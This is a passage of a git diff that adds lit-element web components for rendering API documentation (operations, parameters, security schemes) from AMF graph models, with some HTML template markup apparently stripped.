[computeDocsApiModel](model, domainId) { + const webApi = this._computeApi(model); + return this._computeDocument(webApi, domainId); + } + + /** + * Computes Endpoint definition model from web API and current selection. + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} Model definition for an endpoint fragment. + */ + [computeResourceApiModel](model, domainId) { + const webApi = this._computeApi(model); + return this._computeEndpointModel(webApi, domainId); + } + + /** + * Computes Method definition model from web API and current selection. + * + * @param {AmfDocument} model WebApi AMF model. Do not use an array here. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} + */ + [computeMethodApiModel](model, domainId) { + const webApi = this._computeApi(model); + return this._computeMethodModel(webApi, domainId); + } + + /** + * @param {AmfDocument} model WebApi AMF model. + * @param {string} domainId Currently selected `@id`. + * @returns {DomainElement|undefined} + */ + [computeEndpointApiMethodModel](model, domainId) { + const webApi = this._computeApi(model); + return this._computeMethodEndpoint(webApi, domainId); + } + + /** + * @param {CustomEvent} e + */ + [serversCountHandler](e) { + this.serversCount = e.detail.value; + } + + /** + * @param {CustomEvent} e + */ + [serverChangeHandler](e) { + this.serverValue = e.detail.value; + this.serverType = e.detail.type; + } + + render() { + return html` + ${this[serverSelectorTemplate]()} + ${this[modelTemplate]()}`; + } + + /** + * @returns {TemplateResult|string} The template for the server selector. + */ + [serverSelectorTemplate]() { + if (this.httpNoServerSelector) { + return ''; + } + const { amf, anypoint, serverType, serverValue, httpAllowCustomBaseUri, renderSelector, domainId, domainType } = this; + return html` + + + `; + } + + /** + * @returns {TemplateResult|string} The template for the server selector. + */ + [modelTemplate]() { + switch (this[renderedViewValue]) { + case 'summary': return this[summaryTemplate](); + case 'security': return this[securityTemplate](); + case 'documentation': return this[documentationTemplate](); + case 'type': return this[schemaTemplate](); + case 'endpoint': + case 'method': + return this[resourceTemplate](); + default: return ''; + } + } + + /** + * @returns {TemplateResult|string} The template for the API summary page. + */ + [summaryTemplate]() { + const { baseUri, anypoint } = this; + const model = this[renderedModelValue]; + return html` + `; + } + + /** + * @returns {TemplateResult|string} The template for the API security definition page. + */ + [securityTemplate]() { + const { amf, anypoint } = this; + const model = this[renderedModelValue]; + return html``; + } + + /** + * @returns {TemplateResult|string} The template for the RAML's documentation page. + */ + [documentationTemplate]() { + const { amf, anypoint } = this; + const model = this[renderedModelValue]; + return html``; + } + + /** + * @returns {TemplateResult|string} The template for the API schema page. + */ + [schemaTemplate]() { + const { amf, anypoint } = this; + const model = this[renderedModelValue]; + // @todo: render media type selector. + // const { accepts } = this[apiSummaryValue] + return html` + `; + } + + /** + * @returns {TemplateResult|string} The template for the API endpoint page. + */ + [resourceTemplate]() { + const { amf, domainId, operationId } = this; + const model = this[renderedModelValue]; + return html``; + } +} diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js new file mode 100644 index 0000000..55426d9 --- /dev/null +++ b/src/elements/ApiOperationDocumentElement.js @@ -0,0 +1,1089 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { classMap } from 'lit-html/directives/class-map.js'; +import { ns } from "@api-components/amf-helper-mixin"; +import { Styles as HttpStyles } from '@api-components/http-method-label'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import { UrlLib } from '@api-components/api-request'; +import { ApiSchemaValues, ApiSchemaGenerator } from '@api-components/api-schema'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js'; +import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js'; +import '@advanced-rest-client/arc-icons/arc-icon.js'; +import '@advanced-rest-client/http-code-snippets/http-code-snippets.js'; +import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js'; +import elementStyles from './styles/ApiOperation.js'; +import commonStyles from './styles/Common.js'; +import { + ApiDocumentationBase, + paramsSectionTemplate, + descriptionTemplate, + serializerValue, + customDomainPropertiesTemplate, + evaluateExample, +} from './ApiDocumentationBase.js'; +import { joinTraitNames } from '../lib/Utils.js'; +import { tablePropertyTemplate } from './SchemaCommonTemplates.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import '../../api-request-document.js'; +import '../../api-response-document.js'; +import '../../api-security-requirement-document.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiOperation} ApiOperation */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiResponse} ApiResponse */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiCallback} ApiCallback */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */ +/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ +/** @typedef {import('./ApiRequestDocumentElement').default} ApiRequestDocumentElement */ + +export const queryEndpoint = Symbol('queryEndpoint'); +export const queryServers = Symbol('queryServers'); +export const queryResponses = Symbol('queryResponses'); +export const operationValue = Symbol('operationValue'); +export const endpointValue = Symbol('endpointValue'); +export const serversValue = Symbol('serversValue'); +export const serverIdValue = Symbol('serverIdValue'); +export const urlValue = Symbol('urlValue'); +export const responsesValue = Symbol('responsesValue'); +export const computeUrlValue = Symbol('computeUrlValue'); +export const computeParametersValue = Symbol('computeParametersValue'); +export const snippetsParametersValue = Symbol('snippetsParametersValue'); +export const computeSnippetsPayload = Symbol('computeSnippetsPayload'); +export const computeSnippetsHeaders = Symbol('computeSnippetsHeaders'); +export const snippetsPayloadValue = Symbol('snippetsPayloadValue'); +export const snippetsHeadersValue = Symbol('snippetsHeadersValue'); +export const baseUriValue = Symbol('baseUriValue'); +export const preselectResponse = Symbol('preselectResponse'); +export const preselectSecurity = Symbol('preselectSecurity'); +export const requestMimeChangeHandler = Symbol('requestMimeChangeHandler'); +export const titleTemplate = Symbol('titleTemplate'); +export const traitsTemplate = Symbol('traitsTemplate'); +export const summaryTemplate = Symbol('summaryTemplate'); +export const urlTemplate = Symbol('urlTemplate'); +export const requestTemplate = Symbol('requestTemplate'); +export const responseTemplate = Symbol('responseTemplate'); +export const responseTabsTemplate = Symbol('responseTabsTemplate'); +export const responseContentTemplate = Symbol('responseContentTemplate'); +export const statusCodeHandler = Symbol('statusCodeHandler'); +export const securitySectionTemplate = Symbol('securitySectionTemplate'); +export const securityTemplate = Symbol('securityTemplate'); +export const deprecatedTemplate = Symbol('deprecatedTemplate'); +export const metaDataTemplate = Symbol('metaDataTemplate'); +export const tryItTemplate = Symbol('tryItTemplate'); +export const tryItHandler = Symbol('tryItHandler'); +export const callbacksTemplate = Symbol('callbacksTemplate'); +export const callbackTemplate = Symbol('callbackTemplate'); +export const snippetsTemplate = Symbol('snippetsTemplate'); +export const securitySelectorTemplate = Symbol('securitySelectorTemplate'); +export const securitySelectionHandler = Symbol('securitySelectionHandler'); +export const securityTabTemplate = Symbol('securityTabTemplate'); +export const computeOperationModel = Symbol('computeOperationModel'); + +/** + * A web component that renders the documentation page for an API operation built from + * the AMF graph model. + * + * @fires tryit + */ +export default class ApiOperationDocumentElement extends ApiDocumentationBase { + get styles() { + return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles, schemaStyles]; + } + + /** + * @returns {string} + */ + get serverId() { + return this[serverIdValue]; + } + + /** + * @param {string} value + */ + set serverId(value) { + const old = this[serverIdValue]; + if (old === value) { + return; + } + this[serverIdValue] = value; + this[computeUrlValue](); + this[computeParametersValue](); + this.requestUpdate(); + } + + /** + * @returns {ApiServer[]|undefined} The computed list of servers. + */ + get servers() { + return this[serversValue]; + } + + /** + * @returns {ApiServer|undefined} The current server in use. + */ + get server() { + const servers = this[serversValue]; + const serverId = this[serverIdValue]; + let server; + if (Array.isArray(servers) && servers.length) { + if (serverId) { + server = servers.find((item) => item.id === serverId); + } else { + [server] = servers; + } + } + return server; + } + + /** + * @returns {ApiOperation|undefined} + */ + get operation() { + return this[operationValue]; + } + + /** + * @param {ApiOperation} value + */ + set operation(value) { + const old = this[operationValue]; + if (old === value) { + return; + } + this[operationValue] = value; + this.processGraph(); + } + + /** + * @returns {ApiEndPoint|undefined} + */ + get endpoint() { + return this[endpointValue]; + } + + /** + * @param {ApiEndPoint} value + */ + set endpoint(value) { + const old = this[endpointValue]; + if (old === value) { + return; + } + this[endpointValue] = value; + this[computeUrlValue](); + this[computeParametersValue](); + this.requestUpdate(); + } + + /** + * @returns {string|undefined} + */ + get baseUri() { + return this[baseUriValue]; + } + + /** + * @param {string} value + */ + set baseUri(value) { + const old = this[baseUriValue]; + if (old === value) { + return; + } + this[baseUriValue] = value; + this[computeUrlValue](); + this[computeParametersValue](); + this.requestUpdate(); + } + + /** + * @returns {string|undefined} The computed URI for the endpoint. + */ + get endpointUri() { + return this[urlValue]; + } + + /** + * @returns {string} + */ + get snippetsUri() { + const base = this[urlValue] || ''; + const query = this[snippetsParametersValue] || ''; + return `${base}${query}` + } + + /** + * @returns {ApiResponse[]|undefined} The computed list of responses for this operation. + */ + get responses() { + return this[responsesValue]; + } + + static get properties() { + return { + /** + * A property to set to override AMF's model base URI information. + * When this property is set, the `endpointUri` property is recalculated. + */ + baseUri: { type: String }, + /** + * The id of the currently selected server to use to construct the URL. + * If not set a first server in the API servers array is used. + */ + serverId: { type: String, reflect: true }, + /** + * The domain id of the currently selected security to render. + * This is only used when a multiple security schemes are applied to the operation. + */ + securityId: { type: String, reflect: true }, + /** + * When set it opens the response section + */ + responsesOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the security section + */ + securityOpened: { type: Boolean, reflect: true }, + /** + * When set it opens the code snippets section + */ + snippetsOpened: { type: Boolean, reflect: true }, + /** + * The selected status code in the responses section. + */ + selectedStatus: { type: String }, + /** + * Whether the callbacks section is opened. + */ + callbacksOpened: { type: String }, + /** + * When set it renders the "try it" button that dispatches the `tryit` event. + */ + tryItButton: { type: Boolean, reflect: true }, + /** + * When set it renders the view optimised for asynchronous API operation. + */ + asyncApi: { type: Boolean, reflect: true }, + /** + * When set it renders code examples section is the documentation + */ + renderCodeSnippets: { type: Boolean }, + /** + * When set it renders security documentation when applicable + */ + renderSecurity: { type: Boolean }, + /** + * The currently rendered request panel mime type. + */ + requestMimeType: { type: String }, + }; + } + + constructor() { + super(); + /** + * @type {ApiOperation} + */ + this[operationValue] = undefined; + /** + * @type {ApiServer[]} + */ + this[serversValue] = undefined; + /** + * @type {ApiEndPoint} + */ + this[endpointValue] = undefined; + /** + * @type {string} + */ + this[urlValue] = undefined; + /** + * @type {ApiResponse[]} + */ + this[responsesValue] = undefined; + /** @type {string} */ + this.selectedStatus = undefined; + /** @type {boolean} */ + this.responsesOpened = undefined; + /** @type {boolean} */ + this.callbacksOpened = undefined; + /** @type {boolean} */ + this.securityOpened = undefined; + /** @type {boolean} */ + this.snippetsOpened = undefined; + /** @type {boolean} */ + this.tryItButton = undefined; + /** @type {boolean} */ + this.asyncApi = undefined; + /** @type {boolean} */ + this.renderCodeSnippets = undefined; + /** @type {boolean} */ + this.renderSecurity = undefined; + /** @type {Operation} */ + this.domainModel = undefined; + /** @type {string} */ + this.requestMimeType = undefined; + /** @type {string} */ + this[snippetsPayloadValue] = undefined; + /** @type {string} */ + this[snippetsHeadersValue] = undefined; + /** @type {string} */ + this.securityId = undefined; + } + + /** + * @returns {Promise} + */ + async processGraph() { + const { domainModel, domainId } = this; + this[operationValue] = undefined; + if (domainModel) { + this[operationValue] = this[serializerValue].operation(domainModel); + } else if (domainId) { + const model = this[computeOperationModel](domainId); + if (model) { + this[operationValue] = model; + } + } + await this[queryEndpoint](); + await this[queryServers](); + await this[queryResponses](); + this[preselectResponse](); + this[preselectSecurity](); + this[computeUrlValue](); + this[computeParametersValue](); + this[computeSnippetsPayload](); + this[computeSnippetsHeaders](); + await this.requestUpdate(); + } + + /** + * Computes an AMF model for the operation from the current AMF model. + * THe `amf` can be a partial model which has the operations list directly. + * @param {string} domainId The domain id of the operation. + * @returns {ApiOperation|undefined} + */ + [computeOperationModel](domainId) { + const { amf } = this; + if (!amf) { + return undefined; + } + const type = this[serializerValue].readTypes(amf['@type']); + /** @type Operation */ + let model; + if (type.includes(this.ns.aml.vocabularies.apiContract.EndPoint)) { + // partial model for an endpoint. + const ops = /** @type Operation[] */ (this._computePropertyArray(amf, this.ns.aml.vocabularies.apiContract.supportedOperation)); + model = ops.find((op) => op['@id'] === domainId); + } else { + const webApi = this._computeApi(amf); + model = this._computeMethodModel(webApi, domainId); + } + if (model) { + return this[serializerValue].operation(model); + } + return undefined; + } + + /** + * Queries for the API operation's endpoint data. + */ + async [queryEndpoint]() { + const { domainId, amf, operation } = this; + this[endpointValue] = undefined; + if (!amf) { + return; + } + const type = this[serializerValue].readTypes(amf['@type']); + if (type.includes(this.ns.aml.vocabularies.apiContract.EndPoint)) { + this[endpointValue] = this[serializerValue].endPoint(amf); + return; + } + const id = domainId || operation && operation.id; + if (!id) { + return; + } + const wa = this._computeApi(amf); + if (!wa) { + return; + } + const model = this._computeMethodEndpoint(wa, id); + if (!model) { + return; + } + this[endpointValue] = this[serializerValue].endPoint(model); + } + + /** + * Queries for the current servers value. + */ + async [queryServers]() { + this[serversValue] = undefined; + const { domainId } = this; + const endpointId = this[endpointValue] && this[endpointValue].id; + const servers = this._getServers({ + endpointId, + methodId: domainId, + }); + if (Array.isArray(servers) && servers.length) { + this[serversValue] = servers.map(server => this[serializerValue].server(server)); + } + } + + /** + * Queries for the responses data of the current operation. + */ + async [queryResponses]() { + this[responsesValue] = undefined; + const { operation } = this; + if (!operation) { + return; + } + const { responses=[] } = operation; + if (!responses.length) { + return; + } + this[responsesValue] = responses; + } + + /** + * Updates the `selectedStatus` if not selected or the current selection doesn't + * exists in the current list of responses. + */ + [preselectResponse]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return; + } + responses.sort((a, b) => { + if (a.statusCode === b.statusCode) { + return 0; + } + return Number(a.statusCode) > Number(b.statusCode) ? 1 : -1; + }); + const { selectedStatus } = this; + if (!selectedStatus) { + this.selectedStatus = responses[0].statusCode; + return; + } + const selected = responses.find((item) => item.statusCode === selectedStatus); + if (selected) { + return; + } + this.selectedStatus = responses[0].statusCode; + } + + /** + * Updates the `securityId` if not selected or the current selection doesn't + * exists in the current list of security. + */ + [preselectSecurity]() { + const { operation, renderSecurity, securityId } = this; + if (!renderSecurity || !operation || !Array.isArray(operation.security) || !operation.security.length) { + return; + } + if (!securityId) { + this.securityId = operation.security[0].id; + return; + } + const selected = operation.security.find((item) => item.id === securityId); + if (selected) { + return; + } + this.securityId = operation.security[0].id; + } + + /** + * Computes the URL value for the current serves, selected server, and endpoint's path. + */ + [computeUrlValue]() { + if (this.asyncApi) { + return; + } + const endpoint = this[endpointValue]; + const version = this._computeApiVersion(this.amf); + const { baseUri, server } = this; + const wa = this._computeWebApi(this.amf); + const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme)); + const url = UrlLib.computeEndpointUri({ baseUri, server, endpoint, protocols, version, }); + this[urlValue] = url; + } + + /** + * Computes query parameters for the code snippets. + */ + [computeParametersValue]() { + this[snippetsParametersValue] = undefined; + const { operation } = this; + if (!operation) { + return; + } + const { request } = operation; + if (!request) { + return; + } + const { queryParameters, queryString } = request; + /** @type ApiParameter[] */ + let params; + if (Array.isArray(queryParameters) && queryParameters.length) { + params = queryParameters; + } else if (queryString) { + const factory = new QueryParameterProcessor(); + const items = factory.collectOperationParameters(request.queryString, 'query'); + if (Array.isArray(items) && items.length) { + params = items.map(i => i.parameter); + } + } + if (!params || !params.length) { + return; + } + const qp = /** @type {Record} */ ({}); + params.forEach((param) => { + const { required, schema, paramName, name } = param; + if (!required) { + return; + } + const parameterName = paramName || name; + const anySchema = /** @type ApiAnyShape */ (schema); + const { defaultValueStr, examples=[] } = anySchema; + if (defaultValueStr) { + qp[parameterName] = defaultValueStr; + } else if (examples.length) { + const exp = examples.find(e => e.value); + if (exp) { + qp[parameterName] = exp.value; + } + } else { + const value = ApiSchemaValues.generateDefaultValue(/** @type ApiScalarShape */ (schema)); + if (value || value === false || value === 0 || value === null) { + qp[parameterName] = value; + } + // if (typeof value === 'undefined') { + // qp[parameterName] = ''; + // } else { + // qp[parameterName] = value; + // } + } + }); + const value = UrlLib.applyUrlParameters('', qp, true); + this[snippetsParametersValue] = value; + } + + /** + * Computes payload value for the code snippets. + */ + [computeSnippetsPayload]() { + this[snippetsPayloadValue] = undefined + if (this.asyncApi) { + return; + } + const { operation, requestMimeType } = this; + if (!operation || !requestMimeType) { + return; + } + const { request } = operation; + if (!request) { + return; + } + const { payloads=[] } = request; + if (!payloads.length) { + return; + } + const payload = payloads.find(p => p.mediaType === requestMimeType); + if (!payload) { + return; + } + const { examples=[], schema } = payload; + let examplesCopy = [...examples]; + const anySchema = /** @type ApiAnyShape */ (schema); + if (Array.isArray(anySchema.examples) && anySchema.examples.length) { + examplesCopy = examplesCopy.concat(anySchema.examples); + } + examplesCopy = examplesCopy.filter((i) => !!i.value || !!i.structuredValue); + let payloadValue; + if (examplesCopy.length) { + const example = examplesCopy.find(e => !!e.value); + if (example) { + payloadValue = this[evaluateExample](example, requestMimeType); + } + } + if (!payloadValue) { + payloadValue = ApiSchemaGenerator.asExample(schema, requestMimeType, { + renderExamples: true, + renderOptional: true, + }); + } + if (payloadValue && payloadValue.renderValue) { + this[snippetsPayloadValue] = payloadValue.renderValue; + } + } + + /** + * Computes headers value for the code snippets. + */ + [computeSnippetsHeaders]() { + this[snippetsHeadersValue] = undefined; + if (this.asyncApi) { + return; + } + const { operation, requestMimeType } = this; + if (!operation) { + return; + } + const { request, method } = operation; + if (!request) { + return; + } + const { headers=[] } = request; + const parts = []; + let hasMime = false; + headers.forEach((param) => { + const { paramName, name, schema } = param; + if (!schema || !schema.types.includes(ns.aml.vocabularies.shapes.ScalarShape)) { + return; + } + const typedScalar = /** @type ApiScalarShape */ (schema); + let value = ApiSchemaValues.readInputValue(param, typedScalar, { fromExamples: true }); + if (Array.isArray(value)) { + value = value.join(','); + } + if (typeof value !== 'undefined') { + const headerName = paramName || name || ''; + if (headerName.toLowerCase() === 'content-type') { + hasMime = true; + } + const header = `${paramName || name}: ${value}`; + parts.push(header); + } + }); + if (!hasMime && requestMimeType && method !== 'get') { + parts.push(`content-type: ${requestMimeType}`); + } + this[snippetsHeadersValue] = parts.join('\n'); + } + + /** + * A handler for the status code tab selection. + * @param {Event} e + */ + [statusCodeHandler](e) { + const tabs = /** @type AnypointTabs */ (e.target); + this.selectedStatus = String(tabs.selected); + } + + /** + * A handler for the status code tab selection. + * @param {Event} e + */ + [securitySelectionHandler](e) { + const tabs = /** @type AnypointTabs */ (e.target); + this.securityId = String(tabs.selected); + } + + /** + * A handler for the try it button click. + * It dispatches the `tryit` custom event. + */ + [tryItHandler]() { + const { operation, asyncApi } = this; + if (!operation || asyncApi) { + return; + } + const { id } = operation; + const detail = { id }; + const config = { + bubbles: true, + composed: true, + detail, + }; + [ + 'tryit-requested', + 'tryit' + ].forEach((name) => { + this.dispatchEvent(new CustomEvent(name, config)); + }); + } + + /** + * A handler for the request panel mime type change. + * @param {Event} e + */ + [requestMimeChangeHandler](e) { + const panel = /** @type ApiRequestDocumentElement */ (e.target); + this.requestMimeType = panel.mimeType; + this[computeSnippetsPayload](); + this[computeSnippetsHeaders](); + this.requestUpdate(); + } + + render() { + if (!this[operationValue]) { + return html``; + } + return html` + + ${this[titleTemplate]()} + ${this[summaryTemplate]()} + ${this[urlTemplate]()} + ${this[traitsTemplate]()} + ${this[deprecatedTemplate]()} + ${this[descriptionTemplate](this[operationValue].description)} + ${this[metaDataTemplate]()} + ${this[customDomainPropertiesTemplate](this[operationValue].customDomainProperties)} + ${this[requestTemplate]()} + ${this[callbacksTemplate]()} + ${this[snippetsTemplate]()} + ${this[responseTemplate]()} + ${this[securitySectionTemplate]()} + `; + } + + /** + * @returns {TemplateResult} The template for the Operation title. + */ + [titleTemplate]() { + const operation = this[operationValue]; + const { name, method, deprecated } = operation; + const label = name || method; + const labelClasses = { + label: true, + deprecated, + }; + const subTitle = this.asyncApi ? 'Async operation' : 'API operation'; + return html` +
+
+ ${label} + ${this[tryItTemplate]()} +
+

${subTitle}

+
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the Operation traits. + */ + [traitsTemplate]() { + const operation = /** @type ApiOperation */ (this[operationValue]); + const { extends: traits } = operation; + if (!traits || !traits.length) { + return ''; + } + const value = joinTraitNames(traits); + return html` +
+

Mixes in ${value}.

+
`; + } + + /** + * @returns {TemplateResult|string} The template for the operation summary filed. + */ + [summaryTemplate]() { + const operation = this[operationValue]; + const { summary } = operation; + if (!summary) { + return ''; + } + return html` +

${summary}

+ `; + } + + /** + * @returns {TemplateResult[]|string} The template for the Operation meta information. + */ + [metaDataTemplate]() { + const operation = this[operationValue]; + const { operationId, } = operation; + const result = []; + if (operationId) { + result.push(tablePropertyTemplate('Operation ID', operationId, 'operation-id')); + } + if (result.length) { + return result; + } + return ''; + } + + /** + * @returns {TemplateResult|string} The template for the deprecated message. + */ + [deprecatedTemplate]() { + const operation = this[operationValue]; + const { deprecated } = operation; + if (!deprecated) { + return ''; + } + return html` +
+ + + This operation is marked as deprecated. + +
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the operation's URL. + */ + [urlTemplate]() { + if (this.asyncApi) { + return ''; + } + const url = this[urlValue]; + const operation = this[operationValue]; + const { method } = operation; + return html` +
+
${method}
+
${url}
+
+ `; + } + + /** + * @returns {TemplateResult|string} The template for the operation's request documentation element. + */ + [requestTemplate]() { + const operation = this[operationValue]; + if (!operation) { + return ''; + } + const { server, endpoint } = this; + return html` + + `; + } + + [callbacksTemplate]() { + const { operation } = this; + const { callbacks } = operation; + if (!Array.isArray(callbacks) || !callbacks.length) { + return ''; + } + const content = callbacks.map(callback => this[callbackTemplate](callback)); + return this[paramsSectionTemplate]('Callbacks', 'callbacksOpened', content); + } + + /** + * @param {ApiCallback} callback + * @returns {TemplateResult} The template for the operation's request documentation element. + */ + [callbackTemplate](callback) { + const { name, endpoint } = callback; + if (!endpoint) { + return html``; + } + const { operations=[] } = endpoint; + const [operation] = operations; + if (!operation) { + return html``; + } + return html` +
+
${name}
+ +
+ `; + } + + [responseTemplate]() { + const responses = this[responsesValue]; + if (!Array.isArray(responses) || !responses.length) { + return ''; + } + const content = html` + ${this[responseTabsTemplate](responses)} + ${this[responseContentTemplate](responses)} + `; + return this[paramsSectionTemplate]('Responses', 'responsesOpened', content); + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the responses selector. + */ + [responseTabsTemplate](responses) { + const { selectedStatus, anypoint } = this; + const filtered = responses.filter((item) => !!item.statusCode); + return html` +
+ + ${filtered.map((item) => html`${item.statusCode}`)} + +
+
+ `; + } + + /** + * @param {ApiResponse[]} responses The responses to render. + * @returns {TemplateResult} The template for the currently selected response. + */ + [responseContentTemplate](responses) { + const { selectedStatus } = this; + const response = responses.find((item) => item.statusCode === selectedStatus); + if (!response) { + return html`
Select a response to render the documentation.
`; + } + return html` + + `; + } + + /** + * @returns {TemplateResult|string} The template for the security list section. + */ + [securitySectionTemplate]() { + const { operation, renderSecurity, securityId } = this; + if (!renderSecurity || !operation || !Array.isArray(operation.security) || !operation.security.length) { + return ''; + } + const { security } = operation; + const content = []; + if (security.length === 1) { + content.push(this[securityTemplate](security[0])); + } else if (securityId) { + content.push(this[securitySelectorTemplate]()); + const item = security.find(i => i.id === securityId); + if (item) { + content.push(this[securityTemplate](item)); + } + // security.forEach((model) => content.push(this[securityTemplate](model))); + } + return this[paramsSectionTemplate]('Security', 'securityOpened', content); + } + + /** + * @param {ApiSecurityRequirement} security + * @returns {TemplateResult} + */ + [securityTemplate](security) { + return html`` + } + + /** + * @returns {TemplateResult} + */ + [securitySelectorTemplate]() { + const { operation, securityId, anypoint } = this; + const { security } = operation; + return html` +
+ + ${security.map((item) => this[securityTabTemplate](item))} + +
+
+ `; + } + + /** + * @param {ApiSecurityRequirement} security + * @returns {TemplateResult} + */ + [securityTabTemplate](security) { + const { name, schemes=[], id } = security; + let label = 'unknown'; + if (name) { + label = name; + } else if (schemes.length) { + const parts = schemes.map(i => i.name).filter(i => !!i); + if (parts.length) { + label = parts.join('/'); + } + } + return html`${label}`; + } + + /** + * @returns {TemplateResult|string} The template for the "try it" button. + */ + [tryItTemplate]() { + if (!this.tryItButton) { + return ''; + } + return html` + Try it + `; + } + + /** + * @returns {TemplateResult|string} The template for the code snippets. + */ + [snippetsTemplate]() { + if (!this.renderCodeSnippets || this.asyncApi) { + return ''; + } + const { operation } = this; + const content = html` + + `; + return this[paramsSectionTemplate]('Code snippets', 'snippetsOpened', content); + } +} diff --git a/src/elements/ApiParameterDocumentElement.js b/src/elements/ApiParameterDocumentElement.js new file mode 100644 index 0000000..6941d44 --- /dev/null +++ b/src/elements/ApiParameterDocumentElement.js @@ -0,0 +1,135 @@ +/* eslint-disable class-methods-use-this */ +import { html } from 'lit-element'; +import { MarkdownStyles } from '@advanced-rest-client/highlight'; +import '@advanced-rest-client/highlight/arc-marked.js'; +import commonStyles from './styles/Common.js'; +import elementStyles from './styles/ApiParameter.js'; +import schemaStyles from './styles/SchemaCommon.js'; +import { readPropertyTypeLabel } from '../lib/Utils.js'; +import { paramNameTemplate, typeValueTemplate, detailsTemplate, pillTemplate } from './SchemaCommonTemplates.js'; +import { ApiDocumentationBase, descriptionTemplate } from './ApiDocumentationBase.js'; + +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */ + +export const queryParameter = Symbol('queryParameter'); +export const querySchema = Symbol('querySchema'); +export const parameterValue = Symbol('parameterValue'); +export const schemaValue = Symbol('schemaValue'); +export const computeParamType = Symbol('computeParamType'); +export const typeLabelValue = Symbol('typeLabelValue'); + +/** + * A web component that renders the documentation for a single request / response parameter. + */ +export default class ApiParameterDocumentElement extends ApiDocumentationBase { + get styles() { + return [MarkdownStyles, commonStyles, schemaStyles, elementStyles]; + } + + /** + * @returns {ApiParameter} + */ + get parameter() { + return this[parameterValue]; + } + + /** + * @param {ApiParameter} value + */ + set parameter(value) { + const old = this[parameterValue]; + if (old === value) { + return; + } + this[parameterValue] = value; + this.processGraph(); + } + + constructor() { + super(); + /** @type {ApiParameter} */ + this[parameterValue] = undefined; + /** @type {ApiShapeUnion} */ + this[schemaValue] = undefined; + /** @type {string} */ + this[typeLabelValue] = undefined; + } + + /** + * Prepares the values to be rendered. + */ + async processGraph() { + const { parameter } = this; + if (!parameter) { + return; + } + this[querySchema](); + this[computeParamType](); + await this.requestUpdate(); + } + + /** + * Reads the schema from the parameter. + */ + [querySchema]() { + this[schemaValue] = undefined; + const param = this[parameterValue]; + if (!param || !param.schema) { + return; + } + this[schemaValue] = param.schema; + } + + /** + * Computes the schema type label value to render in the type view. + */ + [computeParamType]() { + const schema = this[schemaValue]; + const label = readPropertyTypeLabel(schema); + this[typeLabelValue] = label; + } + + render() { + const param = this[parameterValue]; + if (!param) { + return html``; + } + const { name, required } = param; + const type = this[typeLabelValue]; + const schema = this[schemaValue]; + return html` + +
+
+ ${paramNameTemplate(name, required)} + + ${typeValueTemplate(type)} + ${required ? pillTemplate('Required', 'This property is required.') : ''} +
+
+ ${this[descriptionTemplate]()} +
+
+ ${detailsTemplate(schema)} +
+
+ `; + } + + /** + * @return {TemplateResult|string} The template for the parameter description. + */ + [descriptionTemplate]() { + const schema = this[schemaValue]; + if (schema && schema.description) { + return super[descriptionTemplate](schema.description); + } + const param = this[parameterValue]; + return super[descriptionTemplate](param.description); + } +} diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.js b/src/elements/ApiParametrizedSecuritySchemeElement.js new file mode 100644 index 0000000..f7c111a --- /dev/null +++ b/src/elements/ApiParametrizedSecuritySchemeElement.js @@ -0,0 +1,94 @@ +/* eslint-disable class-methods-use-this */ +import { ns } from '@api-components/amf-helper-mixin'; +import ApiSecurityDocumentElement, { + settingsTemplate, + securityValue, + apiKeySettingsTemplate, + openIdConnectSettingsTemplate, + oAuth2SettingsTemplate, +} from "./ApiSecurityDocumentElement.js"; +import elementStyles from './styles/ParametrizedSecurityElement.js'; + +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecuritySettingsUnion} ApiSecuritySettingsUnion */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityOAuth2Settings} ApiSecurityOAuth2Settings */ +/** @typedef {import('lit-element').TemplateResult} TemplateResult */ + +export const settingsIdValue = Symbol('settingsIdValue'); +export const querySettings = Symbol('querySettings'); +export const settingsValue = Symbol('settingsValue'); +export const mergeSettings = Symbol('mergeSettings'); + +export default class ApiParametrizedSecuritySchemeElement extends ApiSecurityDocumentElement { + get styles() { + return 